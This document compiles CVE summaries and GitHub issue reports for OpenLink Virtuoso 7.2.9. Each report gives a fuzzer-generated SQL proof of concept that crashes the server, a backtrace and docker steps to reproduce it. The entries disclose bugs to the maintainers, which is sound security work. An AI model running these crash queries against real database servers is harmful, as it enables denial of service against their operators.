An issue in the dfe_unit_col_loci component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

The PoC is generated by my DBMS fuzzer.

CREATE TABLE b (
      folders VARCHAR(80),
      folderid VARCHAR(80),
      parentid VARCHAR(80),
      rootid VARCHAR(80),
      c INTEGER,
      path VARCHAR(80),
      id VARCHAR(80),
      i VARCHAR(80),
      d VARCHAR(80),
      e VARCHAR(80),
      f VARCHAR(80)
    );
SELECT case b.d when coalesce((select max(17+coalesce((select max(coalesce((select (select count(distinct case f when 19 then coalesce((select coalesce((select max(11\-(abs(d)/abs(11))) from b where not  \-c in (19,b.d,17)),17) from b where (f in (d,f,b.c))),d) else d end) from b) from b where 17 between e and b.f),b.c)) from b where 13\>=e),d)) from b where b.f\>b.f),b.d) then 17 else b.f end FROM b WHERE not exists(select 1 from b where 13 between c+17 and (b.id));

backtrace:

#0 0x739343 (dfe\_unit\_col\_loci+0x1393)
#1 0x739030 (dfe\_unit\_col\_loci+0x1080)
#2 0x747e8c (sqlg\_top\_1+0x7c)
#3 0x70d4d4 (sqlo\_top\_select+0x164)
#4 0x6b72bf (sql\_stmt\_comp+0x8bf)
#5 0x6ba122 (sql\_compile\_1+0x1a62)
#6 0x7c8cd0 (stmt\_set\_query+0x340)
#7 0x7cabc2 (sf\_sql\_execute+0x922)
#8 0x7cbf4e (sf\_sql\_execute\_w+0x17e)
#9 0x7d4c0d (sf\_sql\_execute\_wrapper+0x3d)
#10 0xe1f01c (future\_wrapper+0x3fc)
#11 0xe2691e (\_thread\_boot+0x11e)
#12 0x7fb2a20b9609 (start\_thread+0xd9)
#13 0x7fb2a1e89133 (clone+0x43)

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

CVE-2023-31609: virtuoso 7.2.9 crashed at dfe_unit_col_loci · Issue #1126 · openlink/virtuoso-opensource

An issue in the _IO_default_xsputn component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed

fuboat opened this issue

Apr 12, 2023

· 0 comments

Closed

**virtuoso 7.2.9 crashed at \_IO\_default\_xsputn #1118**

fuboat opened this issue

Apr 12, 2023

· 0 comments

**Comments**

The PoC is generated by my DBMS fuzzer.

CREATE TABLE t2(x VARCHAR, y VARCHAR, c VARCHAR);
CREATE VIEW t2 AS SELECT \* FROM t2;
INSERT INTO t2 VALUES(8,8,RDF\_SYS.xsd\_hexBinary\_fromBinary(SYSTEM\_BASE64\_ENCODE(zeroblob(200))));

backtrace:

#0 0x7f87bcd56050 (\_IO\_default\_xsputn+0xa0)
#1 0x7f87bcd3b0fc (psiginfo+0x13c9c)
#2 0x7f87bcd4ff9a (vscanf+0x14a)
#3 0x7f87bcd25df6 (\_\_snprintf+0x96)
#4 0x5a2227 (sch\_full\_proc\_name\_1+0x2c7)
#5 0x7879a3 (sinv\_find\_func\_map+0x143)
#6 0x788fb7 (sinv\_check\_exp+0x317)
#7 0x78a03d (sinv\_sqlo\_check\_col\_val+0xad)
#8 0x816d50 (sqlc\_insert\_view+0x330)
#9 0x81721d (sqlc\_insert\_view+0x7fd)
#10 0x81721d (sqlc\_insert\_view+0x7fd)
...
#5714 0x81721d (sqlc\_insert\_view+0x7fd)
#5715 0x81721d (sqlc\_insert\_view+0x7fd)
#5716 0x81721d (sqlc\_insert\_view+0x7fd)
#5717 0x6b7387 (sql\_stmt\_comp+0x987)
#5718 0x6ba122 (sql\_compile\_1+0x1a62)
#5719 0x7c8cd0 (stmt\_set\_query+0x340)
#5720 0x7cabc2 (sf\_sql\_execute+0x922)
#5721 0x7cbf4e (sf\_sql\_execute\_w+0x17e)
#5722 0x7d4c0d (sf\_sql\_execute\_wrapper+0x3d)
#5723 0xe1f01c (future\_wrapper+0x3fc)
#5724 0xe2691e (\_thread\_boot+0x11e)
#5725 0x7f87bd013609 (start\_thread+0xd9)
#5726 0x7f87bcde3133 (clone+0x43)

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

This was referenced

Apr 14, 2023

1 participant

CVE-2023-31610: virtuoso 7.2.9 crashed at _IO_default_xsputn · Issue #1118 · openlink/virtuoso-opensource

An issue in the dk_set_delete component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

The PoC is generated by my DBMS fuzzer.

CREATE TABLE b (
      folders VARCHAR(80),
      folderid VARCHAR(80),
      parentid VARCHAR(80),
      rootid VARCHAR(80),
      c INTEGER,
      path VARCHAR(80),
      id VARCHAR(80),
      i VARCHAR(80),
      d VARCHAR(80),
      e VARCHAR(80),
      f VARCHAR(80)
    );
SELECT  \-(coalesce((select max(coalesce((select b.f from b where not exists(select 1 from b where (abs(+rootid+19+19)/abs(b.rootid))<b.rootid) or 19+f\>=(select  \-max(19) from b)+b.f),b.e+b.f)\* \-b.e+19\-f) from b where (( \-b.id<19) or d\>=id)),b.id))\*id\*((b.rootid))\-17 FROM b WHERE NOT (b.e not between b.f\*id and b.f+ \-d);

backtrace:

#0 0xe05b99 (dk\_set\_delete+0x39)
#1 0x7ff2b5 (sqlg\_vec\_qns+0x365)
#2 0x7fcfc7 (cv\_vec\_slots+0x947)
#3 0x7fc563 (sqlg\_vec\_after\_test+0x1b3)
#4 0x80148f (qn\_vec\_slots+0x61f)
#5 0x7ff412 (sqlg\_vec\_qns+0x4c2)
#6 0x81464c (sqlg\_vector\_subq+0xdc)
#7 0x814d91 (sqlg\_vector+0x61)
#8 0x6baa15 (sql\_compile\_1+0x2355)
#9 0x7c8cd0 (stmt\_set\_query+0x340)
#10 0x7cabc2 (sf\_sql\_execute+0x922)
#11 0x7cbf4e (sf\_sql\_execute\_w+0x17e)
#12 0x7d4c0d (sf\_sql\_execute\_wrapper+0x3d)
#13 0xe1f01c (future\_wrapper+0x3fc)
#14 0xe2691e (\_thread\_boot+0x11e)
#15 0x7fc16f67c609 (start\_thread+0xd9)
#16 0x7fc16f44c133 (clone+0x43)
#0 0xe10319 (gpf\_notice+0x209)
#1 0xde599f (dk\_free\_box+0x2df)
#2 0x6b35cc (fun\_ref\_free+0x4c)
#3 0x50498d (qr\_free+0x2ad)
#4 0x504a1c (qr\_free+0x33c)
#5 0x504a1c (qr\_free+0x33c)
#6 0x504a1c (qr\_free+0x33c)
#7 0x504a1c (qr\_free+0x33c)
#8 0x7c4def (cli\_scrap\_cached\_statements+0x41f)
#9 0x7c53f5 (client\_connection\_free+0x265)
#10 0x7c6365 (srv\_client\_connection\_died+0x205)
#11 0x7c652d (srv\_client\_session\_died+0x2d)
#12 0xe14dff (session\_is\_dead+0x6f)
#13 0xe1f3d0 (future\_wrapper+0x7b0)
#14 0xe2691e (\_thread\_boot+0x11e)
#15 0x7fefc040b609 (start\_thread+0xd9)
#16 0x7fefc01db133 (clone+0x43)

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

CVE-2023-31617: virtuoso 7.2.9 crashed at dk_set_delete · Issue #1127 · openlink/virtuoso-opensource

An issue in the __libc_longjmp component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed

fuboat opened this issue

Apr 12, 2023

· 0 comments

Closed

**virtuoso 7.2.9 crashed at \_\_libc\_longjmp #1119**

fuboat opened this issue

Apr 12, 2023

· 0 comments

**Comments**

The PoC is generated by my DBMS fuzzer.

CREATE TABLE hist (
  cnt VARCHAR NOT NULL,
  y VARCHAR NOT NULL,
  z VARCHAR,
  PRIMARY KEY (cnt,y)
);
CREATE TABLE t19d AS (SELECT \* FROM hist UNION ALL SELECT 1234);

backtrace:

#0 0x7f523bf87dbe (\_\_libc\_longjmp+0xde)
#1 0x5177d573a547bfaf -- no symbol name found

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

1 participant

CVE-2023-31611: virtuoso 7.2.9 crashed at __libc_longjmp · Issue #1119 · openlink/virtuoso-opensource

An issue in the psiginfo component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

The PoC is generated by my DBMS fuzzer.

CREATE TABLE t1 (
    x LONG VARCHAR,
    a INTEGER DEFAULT 0,
    b LONG VARCHAR,
    t2 LONG VARCHAR
);
CREATE VIEW t1 AS SELECT \* FROM t1;
INSERT INTO t1(t2, x, x) VALUES('one-toasted,one-null', '', repeat('1234567890',50000));

backtrace:

#0 0x7f421a573900 (psiginfo+0x134a0)
#1 0x7f421a588f9a (vscanf+0x14a)
#2 0x7f421a55edf6 (\_\_snprintf+0x96)
#3 0x5a2227 (sch\_full\_proc\_name\_1+0x2c7)
#4 0x7879a3 (sinv\_find\_func\_map+0x143)
#5 0x788fb7 (sinv\_check\_exp+0x317)
#6 0x78a03d (sinv\_sqlo\_check\_col\_val+0xad)
#7 0x816d50 (sqlc\_insert\_view+0x330)
#8 0x81721d (sqlc\_insert\_view+0x7fd)
#9 0x81721d (sqlc\_insert\_view+0x7fd)
#10 0x81721d (sqlc\_insert\_view+0x7fd)
#11 0x81721d (sqlc\_insert\_view+0x7fd)
#12 0x81721d (sqlc\_insert\_view+0x7fd)
#13 0x81721d (sqlc\_insert\_view+0x7fd)
...
#5714 0x81721d (sqlc\_insert\_view+0x7fd)
#5715 0x81721d (sqlc\_insert\_view+0x7fd)
#5716 0x81721d (sqlc\_insert\_view+0x7fd)
#5717 0x6b7387 (sql\_stmt\_comp+0x987)
#5718 0x6ba122 (sql\_compile\_1+0x1a62)
#5719 0x7c8cd0 (stmt\_set\_query+0x340)
#5720 0x7cabc2 (sf\_sql\_execute+0x922)
#5721 0x7cbf4e (sf\_sql\_execute\_w+0x17e)
#5722 0x7d4c0d (sf\_sql\_execute\_wrapper+0x3d)
#5723 0xe1f01c (future\_wrapper+0x3fc)
#5724 0xe2691e (\_thread\_boot+0x11e)
#5725 0x7f421a84c609 (start\_thread+0xd9)
#5726 0x7f421a61c133 (clone+0x43)

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

CVE-2023-31625: virtuoso 7.2.9 crashed at psiginfo (maybe the same as #1118) · Issue #1132 · openlink/virtuoso-opensource

An issue in the mp_box_deserialize_string function in openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) after running a SELECT statement.

**Description**

When running the following statement on an empty virtuoso-opensource database, the database just crashed:

SELECT table\_name as name, 'TABLE' as type, '' as parentname FROM information\_schema.tables
UNION 
SELECT column\_name as name, data\_type as type, table\_name as parentname FROM information\_schema.columns

**The Way to Reproduce**

Just running the following command to reproduce the crash:

docker run --name virtdb -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9 # start virtuoso through docker
sleep 10 # wait the server starting
echo "SELECT 1;" | docker exec -i virtdb isql 1111 dba # check whether the simple query works
# The command to crash virtuoso 
echo "SELECT table\_name as name, 'TABLE' as type, '' as parentname FROM information\_schema.tables UNION SELECT column\_name as name, data\_type as type, table\_name as parentname FROM information\_schema.columns;" | docker exec -i virtdb isql 1111 dba

the output in shell:

    OpenLink Virtuoso Interactive SQL (Virtuoso)
    Version 07.20.3236 as of Feb 27 2023
    Type HELP; for help and EXIT; to exit.
    Connected to OpenLink Virtuoso
    Driver: 07.20.3236 OpenLink Virtuoso ODBC Driver
    SQL> 
    *** Error 08S01: [Virtuoso Driver]CL065: Lost connection to server
    at line 1 of Top-Level:
    SELECT table_name as name, 'TABLE' as type, '' as parentname FROM information_schema.tables UNION SELECT column_name as name, data_type as type, table_name as parentname FROM information_schema.columns
    

You can see the error "Lost connection to server", and the container is stopped due to the abnormal exit of the virtuoso instance.

**Backtrace**

The backtrace when crash is as follow. I compiled virtuoso-opensource 7.2.9 with debug mode to get it.

    Thread 8 "virtuoso-t" received signal SIGSEGV, Segmentation fault.
    [Switching to Thread 0x7fffdfdb4700 (LWP 1440941)]
    0x00000000005533b6 in mp_box_deserialize_string (mp=0x7fffc806bfc0, 
        text=0xe34ce1f37a6c3a64 <error: Cannot access memory at address 0xe34ce1f37a6c3a64>, opt_len=2147483647, offset=0) at regist.c:292
    292       switch ((dtp_t)text[0])
    (gdb) bt
    #0  0x00000000005533b6 in mp_box_deserialize_string (mp=0x7fffc806bfc0, 
        text=0xe34ce1f37a6c3a64 <error: Cannot access memory at address 0xe34ce1f37a6c3a64>, opt_len=2147483647, offset=0) at regist.c:292
    #1  0x0000000000427b34 in cha_box_col (cha=0x7fffec416108, ha=0x7fffc8025bf0, row=0x7fffec424720 "k9\241\220(\230\310\r", inx=3)
        at chash.c:2320
    #2  0x00000000004253f1 in chash_to_memcache (inst=0x7fffc802b2f8, tree=0x7fffc802a158, ha=0x7fffc8025bf0) at chash.c:2364
    #3  0x00000000004278e4 in setp_chash_distinct (setp=0x7fffc8025970, inst=0x7fffc802b2f8) at chash.c:2292
    #4  0x0000000000593df7 in setp_node_run (setp=0x7fffc8025970, inst=0x7fffc802b2f8, state=0x7fffc802b2f8, print_blobs=0) at sort.c:385
    #5  0x00000000005948c7 in setp_node_input (setp=0x7fffc8025970, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sort.c:606
    #6  0x00000000006bb4e3 in qn_input (xx=0x7fffc8025970, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:982
    #7  0x00000000006bb74a in qn_send_output (src=0x7fffc8024ae0, state=0x7fffc802b2f8) at sqlrun.c:1028
    #8  0x000000000042b6f8 in hash_source_chash_input (hs=0x7fffc8024ae0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at chash.c:3233
    #9  0x00000000004d268c in hash_source_input (hs=0x7fffc8024ae0, qst=0x7fffc802b2f8, qst_cont=0x7fffc802b2f8) at hash.c:2613
    #10 0x00000000006bb4e3 in qn_input (xx=0x7fffc8024ae0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:982
    #11 0x00000000006bb8e6 in qn_ts_send_output (src=0x7fffc8024400, state=0x7fffc802b2f8, after_join_test=0x0) at sqlrun.c:1059
    #12 0x00000000006bf39f in table_source_input (ts=0x7fffc8024400, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:1991
    #13 0x00000000006bb4e3 in qn_input (xx=0x7fffc8024400, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:982
    #14 0x00000000006bb8e6 in qn_ts_send_output (src=0x7fffc80235b0, state=0x7fffc802b2f8, after_join_test=0x0) at sqlrun.c:1059
    #15 0x00000000006bf39f in table_source_input (ts=0x7fffc80235b0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:1991
    #16 0x00000000006bb4e3 in qn_input (xx=0x7fffc80235b0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:982
    #17 0x0000000000594e55 in union_node_input (un=0x7fffc800f5d0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sort.c:672
    #18 0x000000000066c60f in qr_resume_pending_nodes (subq=0x7fffc8020680, inst=0x7fffc802b2f8) at sqlintrp.c:1185
    #19 0x000000000066c923 in subq_next (subq=0x7fffc8020680, inst=0x7fffc802b2f8, cr_state=2) at sqlintrp.c:1243
    #20 0x000000000070e52c in subq_node_vec_input (sqs=0x7fffc801dbc0, inst=0x7fffc802b2f8, state=0x0) at sqlvnode.c:702
    #21 0x0000000000594a8b in subq_node_input (sqs=0x7fffc801dbc0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sort.c:691
    #22 0x00000000006bb4e3 in qn_input (xx=0x7fffc801dbc0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:982
    #23 0x00000000006bb74a in qn_send_output (src=0x7fffc80202b0, state=0x7fffc802b2f8) at sqlrun.c:1028
    #24 0x0000000000439b1a in chash_fill_input (fref=0x7fffc80202b0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at chash.c:6013
    #25 0x00000000004d3c05 in hash_fill_node_input (fref=0x7fffc80202b0, inst=0x7fffc802b2f8, qst=0x7fffc802b2f8) at hash.c:3253
    #26 0x00000000006bb4e3 in qn_input (xx=0x7fffc80202b0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:982
    #27 0x00000000006bb74a in qn_send_output (src=0x7fffc8027e30, state=0x7fffc802b2f8) at sqlrun.c:1028
    #28 0x000000000070e189 in set_ctr_vec_input (sctr=0x7fffc8027e30, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlvnode.c:632
    #29 0x0000000000596fb4 in set_ctr_input (sctr=0x7fffc8027e30, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sort.c:1319
    #30 0x00000000006bb4e3 in qn_input (xx=0x7fffc8027e30, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:982
    #31 0x00000000006c791e in qr_exec (cli=0x7fffc8000e30, qr=0x7fffc801a380, caller=0x2, cr_name=0x7fffc802bdf8 "s1111_1_0", stmt=0x7fffc8018b30, 
        lc_ret=0x0, parms=0x7fffd4021de8, opts=0x7fffd4021f08, named_params=0) at sqlrun.c:4344
    #32 0x00000000006d1f5b in sf_sql_execute (stmt_id=0x7fffd4021e08 "s1111_1_0", text=0x72e2658 "\320\b", cursor_name=0x7fffd4021ec8 "s1111_1_0", 
        params=0x7fffd4021ea8, current_ofs=0x7fffd4021dc8, options=0x7fffd4021f08) at sqlsrv.c:2006
    #33 0x00000000006d26fe in sf_sql_execute_w (stmt_id=0x7fffd4021e08 "s1111_1_0", text=0x72e2658 "\320\b", 
        cursor_name=0x7fffd4021ec8 "s1111_1_0", params=0x7fffd4021ea8, current_ofs=0x7fffd4021dc8, options=0x7fffd4021f08) at sqlsrv.c:2049
    #34 0x00000000006d9620 in sf_sql_execute_wrapper (args=0x7fffdfdb3e30) at sqlsrv.c:3995
    #35 0x0000000000b777f6 in future_wrapper (ignore=0x0) at Dkernel.c:1171
    #36 0x0000000000b7da94 in _thread_boot (arg=0x7fffd4011370) at sched_pthread.c:296
    #37 0x00007ffff7c3a609 in start_thread (arg=<optimized out>) at pthread_create.c:477
    --Type <RET> for more, q to quit, c to continue without paging--
    #38 0x00007ffff7a0a133 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95

CVE-2023-31614: virtuoso *crashed* after running a SELECT statement · Issue #1117 · openlink/virtuoso-opensource

An issue in the stricmp component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

The PoC is generated by my DBMS fuzzer.

CREATE TABLE t1 (
  x VARCHAR,
  k VARCHAR
);
CREATE VIEW t1 AS SELECT x, k FROM t1;
INSERT INTO t1 VALUES ('x', 'y');

backtrace:

#0 0xeff7b6 (stricmp+0x6)
#1 0x607569 (strihashcmp+0x29)
#2 0xdec7af (id\_hash\_get+0x5f)
#3 0x607e58 (sch\_name\_to\_object\_sc+0x58)
#4 0x6081b5 (sch\_name\_to\_object+0xf5)
#5 0x7d8f70 (sqlc\_insert+0x50)
#6 0x81721d (sqlc\_insert\_view+0x7fd)
#7 0x81721d (sqlc\_insert\_view+0x7fd)
#8 0x81721d (sqlc\_insert\_view+0x7fd)
#9 0x81721d (sqlc\_insert\_view+0x7fd)
#10 0x81721d (sqlc\_insert\_view+0x7fd)
...
#5737 0x81721d (sqlc\_insert\_view+0x7fd)
#5738 0x81721d (sqlc\_insert\_view+0x7fd)
#5739 0x6b7387 (sql\_stmt\_comp+0x987)
#5740 0x6ba122 (sql\_compile\_1+0x1a62)
#5741 0x7c8cd0 (stmt\_set\_query+0x340)
#5742 0x7cabc2 (sf\_sql\_execute+0x922)
#5743 0x7cbf4e (sf\_sql\_execute\_w+0x17e)
#5744 0x7d4c0d (sf\_sql\_execute\_wrapper+0x3d)
#5745 0xe1f01c (future\_wrapper+0x3fc)
#5746 0xe2691e (\_thread\_boot+0x11e)
#5747 0x7fa64e4f4609 (start\_thread+0xd9)
#5748 0x7fa64e2c4133 (clone+0x43)

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

CVE-2023-31628: virtuoso 7.2.9 crashed at stricmp (maybe the same as #1118) · Issue #1141 · openlink/virtuoso-opensource

An issue in the chash_array component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

The PoC is generated by my DBMS fuzzer.

CREATE TABLE t1(x INTEGER UNIQUE);
CREATE TABLE k(v varchar(255), excluded varchar(255));
INSERT INTO t1(x, x, x, x, x, x, x) VALUES(16183,15638,6,0,5,2,0);
SELECT 'one', t1.\* FROM t1 LEFT JOIN k ON t1.x\=k.v WHERE k.v IS NULL;

backtrace:

#0 0x4257c4 (chash\_array+0x834)
#1 0x43932f (hash\_source\_chash\_input+0x6df)
#2 0x7ac43e (qn\_input+0x3ce)
#3 0x7ac8a6 (qn\_send\_output+0x236)
#4 0x81e26d (set\_ctr\_vec\_input+0x94d)
#5 0x7ac43e (qn\_input+0x3ce)
#6 0x7acb6f (qn\_ts\_send\_output+0x23f)
#7 0x7b247e (table\_source\_input+0x16ee)
#8 0x7ac43e (qn\_input+0x3ce)
#9 0x7ac8a6 (qn\_send\_output+0x236)
#10 0x44c34e (chash\_fill\_input+0x13e)
#11 0x535d6f (hash\_fill\_node\_input+0xef)
#12 0x7ac43e (qn\_input+0x3ce)
#13 0x7ac8a6 (qn\_send\_output+0x236)
#14 0x81e26d (set\_ctr\_vec\_input+0x94d)
#15 0x7ac43e (qn\_input+0x3ce)
#16 0x7bdc6e (qr\_exec+0x11ee)
#17 0x7cb446 (sf\_sql\_execute+0x11a6)
#18 0x7cbf4e (sf\_sql\_execute\_w+0x17e)
#19 0x7d4c0d (sf\_sql\_execute\_wrapper+0x3d)
#20 0xe1f01c (future\_wrapper+0x3fc)
#21 0xe2691e (\_thread\_boot+0x11e)
#22 0x7fac44860609 (start\_thread+0xd9)
#23 0x7fac44630133 (clone+0x43)

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

CVE-2023-31615: virtuoso 7.2.9 crashed at chash_array · Issue #1124 · openlink/virtuoso-opensource

An issue in the artm_div_int component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed

fuboat opened this issue

Apr 12, 2023

· 0 comments

Closed

**virtuoso 7.2.9 crashed at artm\_div\_int #1123**

fuboat opened this issue

Apr 12, 2023

· 0 comments

**Comments**

The PoC is generated by my DBMS fuzzer.

SELECT CAST('\-9223372036854775808' AS INTEGER) / CAST('\-1' AS SMALLINT);

backtrace:

#0 0xc227a4 (artm\_div\_int+0xf4)
#1 0xc23766 (artm\_vec+0x7d6)
#2 0x7518c2 (code\_vec\_run\_v+0x10e2)
#3 0x7ac3ff (qn\_input+0x38f)
#4 0x7ac8a6 (qn\_send\_output+0x236)
#5 0x81e26d (set\_ctr\_vec\_input+0x94d)
#6 0x7ac43e (qn\_input+0x3ce)
#7 0x7bdc6e (qr\_exec+0x11ee)
#8 0x7cb446 (sf\_sql\_execute+0x11a6)
#9 0x7cbf4e (sf\_sql\_execute\_w+0x17e)
#10 0x7d4c0d (sf\_sql\_execute\_wrapper+0x3d)
#11 0xe1f01c (future\_wrapper+0x3fc)
#12 0xe2691e (\_thread\_boot+0x11e)
#13 0x7eff81a0c609 (start\_thread+0xd9)
#14 0x7eff817dc133 (clone+0x43)

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

1 participant

CVE-2023-31608: virtuoso 7.2.9 crashed at artm_div_int · Issue #1123 · openlink/virtuoso-opensource

An issue in the sch_name_to_object component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

The PoC is generated by my DBMS fuzzer.

CREATE TABLE t1(x VARCHAR, k VARCHAR, v VARCHAR);
CREATE VIEW t1 AS SELECT x, x FROM t1;
UPDATE t1 SET x \= x + 100;

backtrace:

#0 0x6080d1 (sch\_name\_to\_object+0x11)
#1 0x7dcf6f (sqlc\_update\_searched+0x6f)
#2 0x817cd1 (sqlc\_update\_view+0xaa1)
#3 0x7ddad0 (sqlc\_update\_searched+0xbd0)
#4 0x817cd1 (sqlc\_update\_view+0xaa1)
#5 0x7ddad0 (sqlc\_update\_searched+0xbd0)
#6 0x817cd1 (sqlc\_update\_view+0xaa1)
#7 0x7ddad0 (sqlc\_update\_searched+0xbd0)
#8 0x817cd1 (sqlc\_update\_view+0xaa1)
#9 0x7ddad0 (sqlc\_update\_searched+0xbd0)
#10 0x817cd1 (sqlc\_update\_view+0xaa1)
...
#2546 0x817cd1 (sqlc\_update\_view+0xaa1)
#2547 0x7ddad0 (sqlc\_update\_searched+0xbd0)
#2548 0x817cd1 (sqlc\_update\_view+0xaa1)
#2549 0x7ddad0 (sqlc\_update\_searched+0xbd0)
#2550 0x817cd1 (sqlc\_update\_view+0xaa1)
#2551 0x7ddad0 (sqlc\_update\_searched+0xbd0)
#2552 0x6b7212 (sql\_stmt\_comp+0x812)
#2553 0x6ba122 (sql\_compile\_1+0x1a62)
#2554 0x7c8cd0 (stmt\_set\_query+0x340)
#2555 0x7cabc2 (sf\_sql\_execute+0x922)
#2556 0x7cbf4e (sf\_sql\_execute\_w+0x17e)
#2557 0x7d4c0d (sf\_sql\_execute\_wrapper+0x3d)
#2558 0xe1f01c (future\_wrapper+0x3fc)
#2559 0xe2691e (\_thread\_boot+0x11e)
#2560 0x7f5b7a921609 (start\_thread+0xd9)
#2561 0x7f5b7a6f1133 (clone+0x43)

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

Tag

#docker